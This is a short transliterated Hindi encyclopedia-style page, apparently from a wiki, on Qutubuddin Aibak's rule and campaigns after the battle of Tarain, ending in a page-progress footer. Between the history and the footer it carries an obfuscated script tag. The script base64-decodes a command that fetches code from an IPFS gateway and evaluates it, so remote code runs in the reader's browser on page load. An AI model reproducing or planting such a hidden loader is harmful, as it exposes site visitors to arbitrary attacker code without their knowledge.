क़ुतुबुद्दीन ऐबक

• tarain ke yuddh ke bad muijjuddin gazani laut gaya aur bharat ke vijit kshetroan ka shasan apane vishvaniy gulam 'qutubuddin aibak' ke hathoan mean chho d diya.
• prithviraj ke putr ko ranathambhaur sauanp diya gaya jo terahavian shatabdi mean shaktishali chauhanoan ki rajadhani bana. agale do varshoan mean aibak ne, oopari doab mean merath, baran tatha koil (adhunik aligadh) par qabza kiya.
• is kshetr ke shaktishali dor-rajapootoan ne aibak ka muqabala kiya, lekin ashchary ki bat hai ki gahadavaloan ko turki akraman se sabase adhik nuqasan ka khatara tha aur unhoanne n to dor-rajapootoan ki koee sahayata ki aur n hi turkoan ko is kshetr se bahar nikalane ka koee prayas hi kiya.
• doab ko apana adhar banakar turkoan ne asapas ke kshetroan par akraman arambh kar diya. aibak ne gujarat tatha anahilava da ke shasak bhim dvitiy ko parajit kiya aur kee nagaroan mean lootapat machaee. yahaan yadyapi ek musalaman shasak ko niyukt kiya gaya tha par use shighr hi gaddi se utar diya gaya. isase pata chalata hai ki turk itane door daraj kshetroan mean shasan karane ke layak shakti nahian bane the.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh